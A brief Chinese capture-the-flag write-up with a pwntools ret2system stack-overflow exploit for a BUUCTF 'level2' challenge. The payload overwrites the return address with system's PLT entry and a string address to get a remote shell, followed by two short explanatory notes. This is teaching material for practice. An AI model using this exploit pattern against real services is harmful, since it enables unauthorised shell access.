比较简单的栈溢出

exp.py (~/Desktop/ctf) - gedit

Open

```
from pwn import *

system_addr=0x804a038
elf=ELF('level2')
system_addr = elf.plt['system']
io=remote('node3.buuoj.cn',27542)

io.recvline()
payload='a'*140+p32(system_addr)+p32(8048480)+p32(0x804a024)
io.sendline(payload)

io.interactive()
```

这里要记住的是
调用system函数后参数不能紧跟其后（正常call函数，参数之上会有返回地址）
以及 传入的应该是字符串地址。